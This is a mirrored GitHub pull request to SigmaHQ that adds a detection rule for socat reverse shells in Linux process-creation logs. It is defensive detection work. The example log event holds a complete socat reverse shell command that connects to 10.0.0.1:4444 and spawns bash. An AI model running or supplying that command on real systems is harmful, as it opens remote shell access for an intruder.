Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Add Socat Reverse Shell Detection Rule for Linux Process Creation#5886

Open
nedelcubianca wants to merge 2 commits intoSigmaHQ:masterfrom
nedelcubianca:add-socat-reverse-shell-rule
Open

Add Socat Reverse Shell Detection Rule for Linux Process Creation#5886
nedelcubianca wants to merge 2 commits intoSigmaHQ:masterfrom
nedelcubianca:add-socat-reverse-shell-rule

Conversation

@nedelcubianca
Copy link

Summary of the Pull Request

Adds a new Sigma detection rule for socat-based reverse shell execution on Linux.
Currently, dedicated process_creation reverse shell rules exist for netcat, perl, php, python, ruby, and xterm, but not for socat.
This rule detects execution of socat with exec parameters pointing to a shell combined with outbound TCP or SSL/TLS connections, which is a common pattern for establishing reverse shells.

Changelog

new: Potential Socat Reverse Shell Execution

Example Log Event

CommandLine: socat tcp:10.0.0.1:4444 exec:bash,pty,stderr,setsid
Image: /usr/bin/socat

Fixed Issues

N/A

SigmaHQ Rule Creation Conventions

  • If your PR adds new rules, please consider following and applying these conventions

@github-actions github-actions bot added Rules Review Needed The PR requires review Linux Pull request add/update linux related rules labels Feb 27, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Linux Pull request add/update linux related rules Review Needed The PR requires review Rules

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant